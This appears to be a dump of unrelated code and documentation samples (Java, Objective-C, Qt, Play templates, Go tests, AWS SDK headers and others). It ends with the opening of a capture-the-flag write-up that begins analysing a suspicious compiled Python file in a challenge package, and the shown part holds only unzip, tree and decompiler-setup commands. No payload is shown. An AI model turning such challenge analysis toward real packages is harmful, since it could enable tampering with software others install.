        throws FileNotFoundException
    {
        this(file,null);
    }

    /**
     * Creates a new wrapped writer that wraps the given writer. The
     * writer may or may not be closed when {@link #close()} is called
     * depending on the given flag.
     *
     * @param writer The writer.
     * @param skipClose True if the underlying writer should not be
     * closed.
     */

    public WriterWrapper
        (Writer writer,
         boolean skipClose)
    {
        mWriter=writer;
        mSkipClose=skipClose;
    }

    /**
     * Creates a new wrapped writer that wraps the given writer. The
     * underlying writer will be closed when {@link #close()} is
     * called; hence the given writer should not wrap the standard
     * output or error stream.
     *
     * @param writer The writer.
     */

    public WriterWrapper
        (Writer writer)
    {
        this(writer,false);
    }

    // Closeable.

    @Override
    public void close()
        throws IOException
    {
        if (getWriter()==null) {
            return;
        }

        // All writers (closeable or not) are flushed.

        getWriter().flush();
        if (getSkipClose()) {
            return;
        }
        getWriter().close();

        // Prevent future closures per {@link Closeable}.

        mWriter=null;
    }

    // INSTANCE METHODS.

    /**
     * Returns the receiver's underlying writer.
     *
     * @return The writer.
     */

    public Writer getWriter()
    {
        return mWriter;
    }

    /**
     * Returns true if the receiver's underlying writer will not be
     * closed when {@link #close()} is called.
     *
     * @return True if so.
     */

    public boolean getSkipClose()
    {
        return mSkipClose;
    }
}


text:
Kökatalog för e-post

<tt>queue_directory</tt>

Kökatalogen anger var Postfix-kön finns. Katalogen är också rotkatalog
för Postfix-demoner som kör chrootade.


text:
#import "NSObject-Protocol.h"

@protocol DAMailAccountStreamConsumerFactory <NSObject>
- (id)streamingContentConsumer;
@end


text:
#pragma once

#include <QtCore/QVariant>
#include <QtXml/QDomElement>

class QmlQXmppLastActivity : public QObject
{
  Q_OBJECT
  Q_PROPERTY(QString from READ from);
  Q_PROPERTY(quint64 seconds READ seconds);
  Q_PROPERTY(QString status READ status);

public:
  QmlQXmppLastActivity(const QString &from = QString());
  QmlQXmppLastActivity(const QmlQXmppLastActivity &other);
  ~QmlQXmppLastActivity();

  QmlQXmppLastActivity& operator=(const QmlQXmppLastActivity &other);

  void setFrom(const QString &value);
  QString from() const;

  void setSeconds(quint64 value);
  quint64 seconds() const;

  void setStatus(const QString &value);
  QString status() const;

private:
  QString _from;
  quint64 _seconds;
  QString _status;
};


text:
%{
    if(_object) {
        currentObject = _object
        currentType = _('controllers.CRUD$ObjectType').forClass(_object.getClass().getName())
    } else if(_class) {
        currentObject = null;
        currentType = _('controllers.CRUD$ObjectType').forClass(_class)
    } else {
        currentObject = _caller.object
        currentType = _caller.type
    }

    // Eval fields tags
    def fieldsHandler = [:]
    if(_body) {
        _body.setProperty('fieldsHandler', fieldsHandler);
        _body.toString(); // we skeep the real result ...
    }
}%

#{list items:_fields ?: currentType.fields*.name, as:'fieldName'}

    %{
        am = ''
    }%

    %{ def field = currentType.getField(fieldName) }%

    %{ if(fieldsHandler[fieldName]) { }%
        %{
            def handler = fieldsHandler[fieldName]
            handler.setProperty('fieldName', 'object.' + field?.name + (field?.type == 'relation' ? '.' + currentType.keyName : ''))
            def oldObject = handler.getProperty('object')
            handler.setProperty('object', currentObject)
            out.println(handler.toString())
            handler.setProperty('object', oldObject)
            handler.setProperty('fieldName', null)
        }%
    %{ } else { }%

        #{ifnot field}
            %{ throw new play.exceptions.TagInternalException('Field not found -> ' + fieldName) }%
        #{/ifnot}

        #{if field.type == 'text'}
            #{crud.textField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
        #{/if}

        #{if field.type == 'password'}
            #{crud.passwordField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
        #{/if}

        #{if field.type == 'binary'}
            #{crud.fileField name:field.name, value:(currentObject ? currentObject[field.name] : null), id:currentObject?.id /}
        #{/if}

        #{if field.type == 'longtext'}
            #{crud.longtextField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
        #{/if}

        #{if field.type == 'number'}
            #{crud.numberField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
            %{ am = 'crud.help.numeric' }%
        #{/if}

        #{if field.type == 'date'}
            #{crud.dateField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
            %{ am = messages.get('crud.help.dateformat',play.libs.I18N.getDateFormat()) }%
        #{/if}

        #{if field.type == 'relation'}
            #{crud.relationField name:field.name, value:(currentObject ? currentObject[field.name] : null), field:field /}
        #{/if}

        #{if field.type == 'boolean'}
            #{crud.checkField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
        #{/if}

        #{if field.type == 'enum'}
            #{crud.enumField name:field.name, value:(currentObject ? currentObject[field.name] : null), property:field /}
        #{/if}

        #{if field.type == 'hidden'}
            #{crud.hiddenField name:field.name, value:(currentObject ? currentObject[field.name] : null) /}
        #{/if}

        &{am}
            %{ play.data.validation.Validation.getValidators(currentType.entityClass, fieldName, 'object').each() { }%
                %{
                    switch (it.annotation.annotationType().name.substring(21)) {
                        case "Required":
                            out.println(messages.get('crud.help.required'))
                            break;
                        case "MinSize":
                            out.println(messages.get('crud.help.minlength', it.annotation.value()))
                            break;
                        case "MaxSize":
                            out.println(messages.get('crud.help.maxlength', it.annotation.value()))
                            break;
                        case "Range":
                            out.println(messages.get('crud.help.range', it.annotation.min(), it.annotation.max()))
                            break;
                        case "Min":
                            out.println(messages.get('crud.help.min', it.annotation.value()))
                            break;
                        case "Email":
                            out.println(messages.get('crud.help.email'))
                            break;
                        case "Equals":
                            out.println(messages.get('crud.help.equals', it.params.equalsTo))
                            break;
                        case "Future":
                            if(it.params.reference) {
                                out.println(messages.get('crud.help.after', it.params.reference))
                            } else {
                                out.println(messages.get('crud.help.future'))
                            }
                            break;
                        case "Past":
                            if(it.params.reference) {
                                out.println(messages.get('crud.help.before', it.params.reference))
                            } else {
                                out.println(messages.get('crud.help.past'))
                            }
                            break;
                    }
                }%
            %{ } }%

    %{ } }%

#{/list}


text:
@interface NSManagedObjectContext (LSCoreDataManager)

- (NSFetchRequest *)fetchRequestForEntityNamed:(NSString *)entityName
								  sortedByKeys:(NSArray *)keys
								fetchBatchSize:(NSUInteger)fetchBatchSize;

- (NSFetchedResultsController *)fetchedResultsControllerForEntityNamed:entityName
														  sortedByKeys:(NSArray *)keys
														fetchBatchSize:(NSUInteger) fetchBatchSize
													sectionNameKeyPath:(NSString *)sectionNameKeyPath
															 cacheName:(NSString *)cacheName;
@end


text: <!DOCTYPE html>


text:
package hdfs;

import java.io.IOException;

import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.fs.FileSystem;
import org.apache.hadoop.fs.Path;

public class MkDir {

	public static void main(String[] args) throws IOException {
		Configuration conf = new Configuration();
		Path newDir = new Path("/training/playArea/newDir");
		FileSystem fs = FileSystem.get(conf);
		boolean created = fs.mkdirs(newDir);
		System.out.println(created);
	}

}


text:
from msrest.serialization import Model

class TopicRegenerateKeyRequest(Model):
    """Topic regenerate share access key key request.

    :param key_name: Key name to regenerate key1 or key2
    :type key_name: str
    """

    _validation = {
        'key_name': {'required': True},
    }

    _attribute_map = {
        'key_name': {'key': 'keyName', 'type': 'str'},
    }

    def __init__(self, key_name):
        super(TopicRegenerateKeyRequest, self).__init__()
        self.key_name = key_name


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using Project.DataSource;
using Project;

namespace Project.ClassRelations
{
    public class Relation__Server_GlobalSettings
    {
        public Relation__Server_GlobalSettings(IServerClass server, GlobalSettings globalSettings)
        {
            globalSettings.ServerSettings.DelayUpdate_Changed += (TimeSpan obj) =>
            { server.Timer.delay = obj; };
            globalSettings.ServerSettings.CountRowsInTable_forTableUpdated_Changed += (int obj) =>
            { server.CountRowsInTable_forTableUpdated = obj; };
        }
    }
}


text:
package org.blendee.jdbc.impl;

import java.sql.Connection;
import java.sql.SQLException;
import java.util.Objects;

import org.blendee.internal.U;
import org.blendee.jdbc.BConnection;
import org.blendee.jdbc.BlendeeManager;
import org.blendee.jdbc.Configure;
import org.blendee.jdbc.ContextManager;
import org.blendee.jdbc.Transaction;

/**
 * Blendee が使用する {@link Transaction} の標準実装クラスです。
 * @author 千葉 哲嗣
 */
public class JDBCTransaction extends Transaction {

	private final Configure config = ContextManager.get(BlendeeManager.class).getConfigure();

	private final Connection jdbcConnection;

	private final ConcreteConnection connection;

	/**
	 * JDBC 接続を使用してインスタンスを生成します。
	 * @param jdbcConnection JDBC 接続
	 */
	public JDBCTransaction(Connection jdbcConnection) {
		Objects.requireNonNull(jdbcConnection);

		this.jdbcConnection = jdbcConnection;
		connection = new ConcreteConnection(config, jdbcConnection);
	}

	@Override
	protected BConnection getConnectionInternal() {
		return connection;
	}

	@Override
	protected void commitInternal() {
		try {
			if (!jdbcConnection.isClosed())
				jdbcConnection.commit();
		} catch (SQLException e) {
			close();
			throw config.getErrorConverter().convert(e);
		}
	}

	@Override
	protected void rollbackInternal() {
		try {
			if (!jdbcConnection.isClosed())
				jdbcConnection.rollback();
		} catch (SQLException e) {
			close();
			throw config.getErrorConverter().convert(e);
		}
	}

	/**
	 * 内部で使用する {@link Connection} を閉じます。<br>
	 * 何らかの理由で接続を後で閉じたい場合、このメソッドをオーバーライドしてください。
	 */
	@Override
	protected void closeInternal() {
		U.close(jdbcConnection);
	}
}


text:
Учебный план:
https://github.com/beego/tutorial

1. Документация фреймворка BeeGo - 1 - Ввведение в BeeGo

	презентация: [Introduction to beego](http://go-talks.appspot.com/github.com/beego/tutorial/en/1/why_beego.slide#1)

2. Документация фреймворка BeeGo - 2 - Роутер (часть 1 из 3)

	презентация: [Router Processor function/method](http://go-talks.appspot.com/github.com/beego/tutorial/en/2/router.part1.slide)

3. Документация фреймворка BeeGo - 2 - Роутер URI паттерны (часть 2 из 3)

    презентация: [Router RUI Patterns](http://go-talks.appspot.com/github.com/beego/tutorial/en/2/router.part2.slide)

4. Документация фреймворка BeeGo - 2 - Роутер наймспейсы (часть 3 из 3)

    презентация: [Router Namespace](http://go-talks.appspot.com/github.com/beego/tutorial/en/2/router.part3.slide)

5. Документация фреймворка BeeGo - 3 - Конфигурационные параметры

    презентация: [Configuration Parameters](http://go-talks.appspot.com/github.com/beego/tutorial/en/3/params.slide)

6. Документация фреймворка BeeGo - 4 - Создать веб API приложение
   Минута в Beego

    блог: [Building Web API with Auto Generated API Document Support](http://beego.me/blog/beego_api)


text:
#include "drawLineBlock.h"

#include "nxtKit/robotModel/parts/nxtDisplay.h"

using namespace nxt::blocks::details;

DrawLineBlock::DrawLineBlock(kitBase::robotModel::RobotModelInterface &robotModel)
	: kitBase::blocksBase::common::DisplayBlock(robotModel)
{
}

void DrawLineBlock::doJob(kitBase::robotModel::robotParts::Display &display)
{
	auto nxtDisplay = static_cast<robotModel::parts::NxtDisplay *>(&display);
	const int x1 = eval<int>("X1CoordinateLine");
	const int y1 = eval<int>("Y1CoordinateLine");
	const int x2 = eval<int>("X2CoordinateLine");
	const int y2 = eval<int>("Y2CoordinateLine");
	const bool redraw = boolProperty("Redraw");

	if (!errorsOccured()) {
		nxtDisplay->drawLine(x1, y1, x2, y2);
		if (redraw) {
			nxtDisplay->redraw();
		}

		emit done(mNextBlockId);
	}
}


text:
/**
 * This module is a stub for core services such as Dependency Injection or Browser Location.
 * Core services may be implemented by a specific framework, such as ng1 or ng2, or be pure javascript.
 *
 * @packageDocumentation
 */
import { IInjectable, Obj } from './common';
import { Disposable } from '../interface';
import { UrlConfig, UrlService } from '../url';

const noImpl = (fnname: string) => () => {
  throw new Error(`No implementation for ${fnname}. The framework specific code did not implement this method.`);
};

export const makeStub = <T>(service: string, methods: (keyof T)[]): T =>
  methods.reduce((acc, key) => ((acc[key] = noImpl(`${service}.${key}()`) as any), acc), {} as T);

const services: CoreServices = {
  $q: undefined,
  $injector: undefined,
};

export interface $QLikeDeferred {
  resolve: (val?: any) => void;
  reject: (reason?: any) => void;
  promise: Promise<any>;
}

export interface $QLike {
  when<T>(value?: T | PromiseLike<T>): Promise<T>;
  reject<T>(reason: any): Promise<T>;
  defer(): $QLikeDeferred;
  all(promises: { [key: string]: Promise<any> }): Promise<any>;
  all(promises: Promise<any>[]): Promise<any[]>;
}

export interface $InjectorLike {
  strictDi?: boolean;
  get(token: any): any;
  get<T>(token: any): T;
  has(token: any): boolean;
  invoke(fn: IInjectable, context?: any, locals?: Obj): any;
  annotate(fn: IInjectable, strictDi?: boolean): any[];
}

export interface CoreServices {
  $q: $QLike;
  $injector: $InjectorLike;
}

/**
 * Handles low level URL read/write
 *
 * This service handles low level reads and updates of the URL and listens for url changes.
 * Implementors should pass these through to the underlying URL mechanism.
 * The underlying URL mechanism might be browser APIs, framework APIs, or some 3rd party URL management library.
 *
 * UI-Router Core includes three basic implementations:
 *
 * - [[PushStateLocationService]]
 * - [[HashLocationService]]
 * - [[MemoryLocationService]]
 */
export interface LocationServices extends Disposable {
  /** See: [[UrlService.url]] */ url: UrlService['url'];
  /** See: [[UrlService.path]] */ path: UrlService['path'];
  /** See: [[UrlService.search]] */ search: UrlService['search'];
  /** See: [[UrlService.hash]] */ hash: UrlService['hash'];
  /** See: [[UrlService.onChange]] */ onChange: UrlService['onChange'];
}

/**
 * Returns low level URL configuration and metadata
 *
 * This service returns information about the location configuration.
 * This service is primarily used when building URLs (e.g., for `hrefs`)
 *
 * Implementors should pass these through to the underlying URL APIs.
 * The underlying URL mechanism might be browser APIs, framework APIs, or some 3rd party URL management library.
 *
 * UI-Router Core includes two basic implementations:
 *
 * - [[BrowserLocationConfig]]
 * - [[MemoryLocationConfig]]
 */
export interface LocationConfig extends Disposable {
  /** See: [[UrlConfig.port]] */ port: UrlConfig['port'];
  /** See: [[UrlConfig.protocol]] */ protocol: UrlConfig['protocol'];
  /** See: [[UrlConfig.host]] */ host: UrlConfig['host'];
  /** See: [[UrlConfig.baseHref]] */ baseHref: UrlConfig['baseHref'];
  /** See: [[UrlConfig.html5Mode]] */ html5Mode: UrlConfig['html5Mode'];
  /** See: [[UrlConfig.hashPrefix]] */ hashPrefix: UrlConfig['hashPrefix'];
}

export { services };


text:
package service

import (
	"context"
	"testing"
	"time"

	. "github.com/smartystreets/goconvey/convey"
)

func Test_BangumiFeed(t *testing.T) {
	Convey("bangumi feed", t, WithService(t, func(svf *Service) {
		res, err := svf.BangumiFeed(context.TODO(), _bangumiMid, 1, 2, _ip)
		So(err, ShouldBeNil)
		So(res, ShouldNotBeEmpty)
		Convey("return feed for page 2", func() {
			time.Sleep(time.Millisecond * 300) // wait cache ready
			res, err := svf.BangumiFeed(context.TODO(), _bangumiMid, 2, 2, _ip)
			So(err, ShouldBeNil)
			So(res, ShouldNotBeEmpty)
		})
		Convey("bangumi feed cache", func() {
			time.Sleep(time.Millisecond * 300) // wait cache ready
			res, err := svf.bangumiFeedCache(context.TODO(), _bangumiMid, 3, 2, _ip)
			So(err, ShouldBeNil)
			So(res, ShouldNotBeEmpty)
		})
	}))
}


text:
#pragma once
#include <aws/elasticbeanstalk/ElasticBeanstalk_EXPORTS.h>
#include <aws/core/utils/memory/stl/AWSStreamFwd.h>
#include <aws/core/utils/memory/stl/AWSString.h>

namespace Aws
{
namespace Utils
{
namespace Xml
{
  class XmlNode;
} // namespace Xml
} // namespace Utils
namespace ElasticBeanstalk
{
namespace Model
{
  /*

 Describes an Auto Scaling launch configuration.

  */
  class AWS_ELASTICBEANSTALK_API AutoScalingGroup
  {
  public:
    AutoScalingGroup();
    AutoScalingGroup(const Aws::Utils::Xml::XmlNode& xmlNode);
    AutoScalingGroup& operator=(const Aws::Utils::Xml::XmlNode& xmlNode);

    void OutputToStream(Aws::OStream& ostream, const char* location, unsigned index, const char* locationValue) const;
    void OutputToStream(Aws::OStream& oStream, const char* location) const;

    /*

 The name of the AutoScalingGroup .

    */
    inline const Aws::String& GetName() const{ return m_name; }

    /*

 The name of the AutoScalingGroup .

    */
    inline void SetName(const Aws::String& value) { m_nameHasBeenSet = true; m_name = value; }

    /*

 The name of the AutoScalingGroup .

    */
    inline void SetName(Aws::String&& value) { m_nameHasBeenSet = true; m_name = value; }

    /*

 The name of the AutoScalingGroup .

    */
    inline void SetName(const char* value) { m_nameHasBeenSet = true; m_name.assign(value); }

    /*

 The name of the AutoScalingGroup .

    */
    inline AutoScalingGroup& WithName(const Aws::String& value) { SetName(value); return *this;}

    /*

 The name of the AutoScalingGroup .

    */
    inline AutoScalingGroup& WithName(Aws::String&& value) { SetName(value); return *this;}

    /*

 The name of the AutoScalingGroup .

    */
    inline AutoScalingGroup& WithName(const char* value) { SetName(value); return *this;}

  private:
    Aws::String m_name;
    bool m_nameHasBeenSet;
  };

} // namespace Model
} // namespace ElasticBeanstalk
} // namespace Aws


text:
/*jshint camelcase:false, laxcomma:true */
/*global FB, Handlebars, jQuery */

window.FBFS = (function($) {
    'use strict';

    /**
     * FBFS constructor method. Will return a Facebook Friend Search
     * object when called with `new FBFS()` with all attached listeners,
     * templates and object methods.
     *
     * Module must be created with an HTML element and can be passed a
     * set of options/callbacks for user customization.
     *
     * OPTIONS:
     * > None
     *
     * CALLBACKS:
     * > onUserSelect(user)
     *  :: Method will be called any time a user selects one of their
     *     FB friends. The Method will be passed a JSON object representing
     *     the friend.
     *
     * @param {HTML} element The HTML element to attach the FBFS on.
     * @param {JSON} options JSON settings matching available user options.
     */
    var FBFS = function FBFS(element, options) {
        var fbfs = this;
        // Set and extend default options with user provided
        this.options = $.extend({
            'onUserSelect': false,
            'user_limit': 10,
            'userTemplate': this.userTemplate,
            'autoclose': true,
            'errorCallback': false
        }, options);
        this.$element = $(element);
        this.$element.find('.facebook-friends').addClass('state-empty');
        this.current_request = 0;
        /**
         * Attach events
         */
        var $search = this.$element.find('.search');
        var $clear_search = this.$element.find('.search-clearinput');
        // Every change to the value do a search
        $search.on('keyup', function () {
            fbfs.onSearch($(this).val());
        });
        // Clear the field and clear the search by doing an empty search
        $clear_search.on('click', function () {
            $search.val('').trigger('keyup');
        });
        return this;
    };

    /**
     * Requests the current users friends that match a string search
     * provided by the user. This will update the friend list with any
     * friends that match.
     * @param  {string} str User supplied to match against user's friends
     * @param  {function} erroCallback Callback function to catch and
     *   handle Facebook API errors.
     * @return null
     */
    FBFS.prototype.onSearch = function onSearch(str) {
        var fbfs = this
          , query = this.searchUsersFQL({
                'name': str.toLowerCase(),
                'limit': fbfs.options.user_limit
            })
          , $list = $('

')
          , $friends_list = this.$element.find('.facebook-friends')
          , this_request = ++fbfs.current_request;

        // Don't search unless the string is acceptable, delete all
        if (!str.length) {
            $friends_list.replaceWith($list);
            fbfs.$element.find('.facebook-friends').addClass('state-empty');
            return;
        }

        // Set searching flag for UI changes
        fbfs.$element.addClass('state-searching');
        FB.api({
            'method': 'fql.query',
            'query': query
        },
        function (response) {
            var $li, i, callback;

            // Only allow the last reqest sent to be used
            if (fbfs.current_request !== this_request) {
                return;
            }

            // Done searching how should we handle this error?
            if (typeof response.error_code === 'string') {
                if (fbfs.options.errorCallback) {
                    fbfs.options.errorCallback.call(fbfs, response);
                }
                return false;
            }

            fbfs.$element.removeClass('state-searching');

            if (response.length) {
                fbfs.$element.find('.facebook-friends').removeClass('state-empty');
                for (i = response.length - 1; i >= 0; i--) {
                    $li = $(fbfs.options.userTemplate(response[i]));
                    $li.data('user', response[i]);
                    $list.append($li);
                }
                $friends_list.replaceWith($list);
            }
            else {
                fbfs.$element.find('.facebook-friends').addClass('state-empty');
            }

            // Callback, if set.
            callback = fbfs.options.onUserSelect;
            $list.find('li').on('click', function (e) {
                e.preventDefault();
                if (callback && typeof callback === 'function') {
                    callback.call(fbfs, $(this).data('user'), e);
                }
                // Hide dropdown on select, if asked
                if (fbfs.options.autoclose) {
                    $list.html('');
                }
            });
        });
    };

    /**
     * Handlebar template for found user
     * @type {json}     Provide data to match required template values.
     *   {
     *     name  Facebook user's full name
     *     uid   Facebook user id
     *   }
     * @return {string} HTML from compiled template
     */
    FBFS.prototype.userTemplate = Handlebars.compile(
        '
' +
            '<button type="button" id="{{uid}}" class="fb-name">'+
                ''+
                '{{name}}' +
            '</button>' +
        '
');

    /**
     * Facebook query to search for all your friends matching a
     * specific name string. (e.g. ja for jason)
     * @type {json}     Provide data to match required template values.
     *   {
     *     name  String to match against users
     *   }
     * @return {string} HTML from compliled template
     */
    FBFS.prototype.searchUsersFQL = Handlebars.compile(
        'SELECT uid, username, first_name, last_name, name ' +
        'FROM user ' +
        'WHERE uid IN ' +
            '(SELECT uid2 ' +
            ' FROM friend ' +
            ' WHERE uid1 = me()) ' +
        'AND strpos(lower(name),\'{{name}}\') >= 0' +
        'LIMIT {{limit}}');

    /**
     * jQuery function for launching FBFS modules on HTML elements.
     * @param  {json} options   A set of options/callbacks to customize FBFS
     * @return {null}
     */
    $.fn.fbfs = function (options) {
        options = options || {};
        this.each(function () {
            return new FBFS(this, options);
        });
    };

    return FBFS;

}(jQuery));


text:
 package org.castafiore.ui.ex.layout;

import java.util.ArrayList;
import java.util.List;

import org.castafiore.InvalidLayoutDataException;
import org.castafiore.ui.Container;
import org.castafiore.ui.LayoutContainer;
import org.castafiore.ui.ex.EXMutableIdContainer;

public class EXMutableIdLayoutContainer extends EXMutableIdContainer implements LayoutContainer {

	public EXMutableIdLayoutContainer(String name, String tagName, String id) {
		super(name, tagName, id);

	}

	public void addChild(Container child, String layoutData) {
		addChild(child);

	}

	public Container getChild(String name, String layoutData) {

		return getChild(name);
	}

	public List<Container> getChildren(String layoutData) {
		return getChildren();
	}

	public Container getContainer(String layoutData) {
		return getDescendentById(layoutData);
	}

	public Container getDescendentById(String id, String layoutData) {
		return getDescendentById(id);
	}

	public Container getDescendentByName(String name, String layoutData) {
		return getDescendentByName(name);
	}

	public Container getDescendentOfType(Class<? extends Container> type,
			String layoutData) {
		return getDescendentOfType(type);
	}

	public List<DroppableSection> getSections() {
		List<Container> children = getChildren();

		List<DroppableSection> sections = new ArrayList<DroppableSection>(children.size());

		for(Container c : children){
			DroppableSection ds = new DroppableSection(c.getId(),c.getName(),c.getName());
			sections.add(ds);
		}
		return sections;

	}

	public void removeChildFromLayout(String id) {
		getDescendentById(id).remove();
		setRendered(false);

	}

	public void validateLayoutData(String layoutData)
			throws InvalidLayoutDataException {

	}

}


text:
import lombok.With;

import java.lang.annotation.ElementType;
import java.lang.annotation.Target;
import java.util.List;

@Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER})
@interface TA {
}

@Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER})
@interface TB {
}

class WithWithTypeAnnos {
	@With
  final @TA @TB List<String> foo;

	WithWithTypeAnnos(@TA @TB List<String> foo) {
		this.foo = foo;
	}
}


text:
import Relay from 'react-relay';

export default class extends Relay.Route {

  static queries = {
    blog: () => Relay.QL`query { blog }`
  };

  static routeName = 'BlogRoute';

}


text:
import itertools
import logging
import re

from django.conf import settings
from django.core.exceptions import MiddlewareNotUsed

from hoptoad import get_hoptoad_settings
from hoptoad.api import htv2
from hoptoad.handlers import get_handler

logger = logging.getLogger(__name__)

class HoptoadNotifierMiddleware(object):
    def __init__(self):
        """Initialize the middleware."""
        hoptoad_settings = get_hoptoad_settings()
        self._init_middleware(hoptoad_settings)

    def _init_middleware(self, hoptoad_settings):
        if 'HOPTOAD_API_KEY' not in hoptoad_settings:
            raise MiddlewareNotUsed

        if settings.DEBUG:
            if not hoptoad_settings.get('HOPTOAD_NOTIFY_WHILE_DEBUG', False):
                raise MiddlewareNotUsed

        self.timeout = hoptoad_settings.get('HOPTOAD_TIMEOUT', None)
        self.notify_404 = hoptoad_settings.get('HOPTOAD_NOTIFY_404', False)
        self.notify_403 = hoptoad_settings.get('HOPTOAD_NOTIFY_403', False)

        ignore_agents = hoptoad_settings.get('HOPTOAD_IGNORE_AGENTS', [])
        self.ignore_agents = map(re.compile, ignore_agents)

        self.handler = get_handler()

    def _ignore(self, request):
        """Return True if the given request should be ignored,
        False otherwise.

        """
        ua = request.META.get('HTTP_USER_AGENT', '')
        return any(i.search(ua) for i in self.ignore_agents)

    def process_response(self, request, response):
        """Process a reponse object.

        Hoptoad will be notified of a 404 error if the response is a 404
        and 404 tracking is enabled in the settings.

        Hoptoad will be notified of a 403 error if the response is a 403
        and 403 tracking is enabled in the settings.

        Regardless of whether Hoptoad is notified, the reponse object will
        be returned unchanged.

        """
        if self._ignore(request):
            return response

        sc = response.status_code
        if sc in [404, 403] and getattr(self, "notify_%d" % sc):
            self.handler.enqueue(htv2.generate_payload((request, sc)),
                                 self.timeout)

        return response

    def process_exception(self, request, exc):
        """Process an exception.

        Hoptoad will be notified of the exception and None will be
        returned so that Django's normal exception handling will then
        be used.

        """
        if self._ignore(request):
            return None

        self.handler.enqueue(htv2.generate_payload((request, None)),
                             self.timeout)
        return None


text:
Returning a reference from a function via another function
--INI--
error_reporting = E_ALL & ~E_STRICT
--FILE--
<?php
function returnConstantByValue() {
	return 100;
}

function &returnConstantByRef() {
	return 100;
}

function &returnVariableByRef() {
	return $GLOBALS['a'];
}

function &returnFunctionCallByRef($functionToCall) {
	return $functionToCall();
}

echo "\n---> 1. Via a return by ref function call, assign by reference the return value of a function that returns by value:\n";
unset($a, $b);
$a = 4;
$b = &returnFunctionCallByRef('returnConstantByValue');
$a++;
var_dump($a, $b);

echo "\n---> 2. Via a return by ref function call, assign by reference the return value of a function that returns a constant by ref:\n";
unset($a, $b);
$a = 4;
$b = &returnFunctionCallByRef('returnConstantByRef');
$a++;
var_dump($a, $b);

echo "\n---> 3. Via a return by ref function call, assign by reference the return value of a function that returns by ref:\n";
unset($a, $b);
$a = 4;
$b = &returnFunctionCallByRef('returnVariableByRef');
$a++;
var_dump($a, $b);

?>
--EXPECTF--
---> 1. Via a return by ref function call, assign by reference the return value of a function that returns by value:

Notice: Only variable references should be returned by reference in %s on line %d
int(5)
int(100)

---> 2. Via a return by ref function call, assign by reference the return value of a function that returns a constant by ref:

Notice: Only variable references should be returned by reference in %s on line %d
int(5)
int(100)

---> 3. Via a return by ref function call, assign by reference the return value of a function that returns by ref:
int(5)
int(5)


text:
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE concept PUBLIC "-//OASIS//DTD DITA Concept//EN" "concept.dtd">
<concept id="intro">

  <title id="impala"><ph audience="standalone">Introducing Apache Impala</ph><ph audience="integrated">Apache Impala Overview</ph></title>
  <prolog>
    <metadata>
      <data name="Category" value="Impala"/>
      <data name="Category" value="Getting Started"/>
      <data name="Category" value="Concepts"/>
      <data name="Category" value="Data Analysts"/>
      <data name="Category" value="Developers"/>
    </metadata>
  </prolog>

  <conbody id="intro_body">

        Impala provides fast, interactive SQL queries directly on your Apache Hadoop data stored in HDFS,
        HBase, <ph rev="2.2.0">or the Amazon Simple Storage Service (S3)</ph>.
        In addition to using the same unified storage platform,
        Impala also uses the same metadata, SQL syntax (Hive SQL), ODBC driver, and user interface
        (Impala query UI in Hue) as Apache Hive. This
        provides a familiar and unified platform for real-time or batch-oriented queries.

        Impala is an addition to tools available for querying big data. Impala does not replace the batch
        processing frameworks built on MapReduce such as Hive. Hive and other frameworks built on MapReduce are
        best suited for long running batch jobs, such as those involving batch processing of Extract, Transform,
        and Load (ETL) type jobs.

      <note>
         Impala graduated from the Apache Incubator on November 15, 2017.
         In places where the documentation formerly referred to <q>Cloudera Impala</q>,
         now the official name is <q>Apache Impala</q>.
      </note>

  </conbody>

  <concept id="benefits">

    <title>Impala Benefits</title>

    <conbody>

    </conbody>
  </concept>

  <concept id="impala_hadoop">

    <title>How Impala Works with <keyword keyref="hadoop_distro"/></title>
  <prolog>
    <metadata>
      <data name="Category" value="Concepts"/>
    </metadata>
  </prolog>

    <conbody>

    </conbody>
  </concept>

  <concept id="features">

    <title>Primary Impala Features</title>

    <conbody>

    </conbody>
  </concept>
</concept>


text:
package stroom.search.solr;

import stroom.datasource.api.v2.DataSourceProvider;

public interface SolrIndexService extends DataSourceProvider {

}


text:
This is the first exploitation problem and it starts with the following text:

> I trust people on the internet all the time, do you?
>
> Written by ColdHeat
>
> eggshells-master.zip

___
## Unzipping and Analyzing the Files

Let's unzip the provided zip file:

```sh
$ unzip eggshells-master.zip
```

This creates a directory called *eggshells-master* that contains several *Python* and *exe* files. Let us look closer to the contend of this folder:

```sh
$ tree .
├── capstone.py
├── distorm.py
├── interpreter.py
├── main.py
├── nasm
│   ├── LICENSE
│   ├── nasm.exe
│   ├── ndisasm.exe
│   └── rdoff
│       ├── ldrdf.exe
│       ├── rdf2bin.exe
│       ├── rdf2com.exe
│       ├── rdf2ihx.exe
│       ├── rdf2ith.exe
│       ├── rdf2srec.exe
│       ├── rdfdump.exe
│       ├── rdflib.exe
│       └── rdx.exe
├── nasm.py
├── server.py
├── shellcode.py
├── utils.pyc
└── wrapper.py
```

Do you see anything unusual?

___

## Decompiled a pre-compiled Python File

A pre-compiled Python file stands out in this list: *utils.pyc*. We need to decompile it. For this task we use  [uncompyle2], which can be installed with:

```sh
$ sudo pip install uncompyle2
```

Let's learn a bit more about this tool with ```uncompyle2 --help```. The usage is straightfoward, but it's a good knowledge to learn about the *-o* flag, which will decompile to a *.dis* file instead of *stdout*:

```sh
Usage: uncompyle2 [OPTIONS]... [ FILE | DIR]...

Examples:
  uncompyle2      foo.pyc bar.pyc       # decompile foo.pyc, bar.pyc to stdout
  uncompyle2 -o . foo.pyc bar.pyc       # decompile to ./foo.dis and ./bar.dis
  uncompyle2 -o /tmp /usr/lib/python1.5 # decompile whole library

Options:
  -o <path>     output decompiled files to this path:
                if multiple input files are decompiled, the common prefix
                is stripped from these names and the remainder appended to
                <path>
                  uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc
                    -> /tmp/fasel.dis, /tmp/foo.dis
                  uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc
                    -> /tmp/bla/fasel.dis, /tmp/bar/foo.dis
```

We could also use *.py* extension if we like:
```sh
  --py          use '.py' extension for generated files
```

